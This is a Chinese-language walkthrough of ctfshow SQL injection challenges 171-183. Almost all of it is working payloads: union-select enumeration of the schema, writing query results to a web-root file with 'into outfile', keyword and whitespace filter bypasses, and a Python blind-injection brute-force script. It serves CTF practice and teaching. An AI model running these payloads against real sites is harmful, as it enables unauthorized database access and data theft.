对输出进行过滤171-175
171
正常的手工注入过程
查数据库
1' union select 1,database(),3-- -
查表名
1' union select 1,table_name,3 from information_schema.tables where table_schema=database() -- -
查列名
1' union select 1,column_name,3 from information_schema.columns where table_name='ctfshow_user1' -- -
查数据
1' union select 1,group_concat(password),3 from ctfshow_user1 -- -
172
username 中不能有 flag,直接查password就好
查询语句如上
173
做了输出过滤,不影响我们做题,直接payload
1' union select 1,group_concat(password),3 from ctfshow_user3 -- -
174
对flag进行输出限制,有数字就不输出,所以有两种思路
1,将数字进行替换,得到flag之后再去替换回来
3,将查到的flag写入到网站根目录的文件里面,然后访问文件就好。
175
对flag进行输出限制,有ascii码在00-7f范围内的数据,就不输出
所以将查到的flag写入到网站根目录的文件里面,然后访问文件就好。
union select 1,group_concat(password) from ctfshow_user5 where username="flag" into outfile "/var/www/html/1.txt"
176
过滤了select,我们用大小写绕过即可
1' union Select 1,2,group_concat(password) from ctfshow_user %23
输入过滤了空格177-180
177
开始的时候fuzz了一遍,然后发现空格被过滤了,害,搞了半天双写绕过,和大小写。
1'/**/union/**/select/**/1,2,group_concat(password)/**/from/**/ctfshow_user%23
178
竟然还是过滤空格,似乎好像把/**/这个也过滤了,我裂开来,最后可以用制表符(%09)代替空格来进行查询
1'%09union%09select%091,2,group_concat(password)%09from%09ctfshow_user%23
179
依然过滤空格,依次尝试/**/,%09,%0a,%0b,%0c
1'%0cunion%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%23
180
似乎是把所有的空格和代替空格的都给过滤了,然后我们想着用另一种方法去实现查询数据,再之前我们注入时,会发现flag的位置在id=26的位置上,所以我们可以使用or(id=26)与后面的永真式来查询flag,对’前面写一个不存在的数字111111,就可以or到(id=26)
payload
111111'or(id=26)and'a'='a
181 182
111111'or(id=26)and'a'='a
183
import requests
url='http://f6a55802-683c-4454-907e-583d901a9672.chall.ctf.show:8080/select-waf.php'
payload='`ctfshow_user`where(substr(`pass`,{},1)regexp(\'{}\'))'
test='{abcdefjhigklmnopqrstuvwxyz1234567890-}'
flag=''
for i in range(45):
for c in test:
data={
"tableName":payload.format(str(i),c)
}
rep=requests.post(url,data)
if(rep.text.find("$user_count = 1;")>0):
flag=flag+c
break
print(flag)
盲注脚本直接跑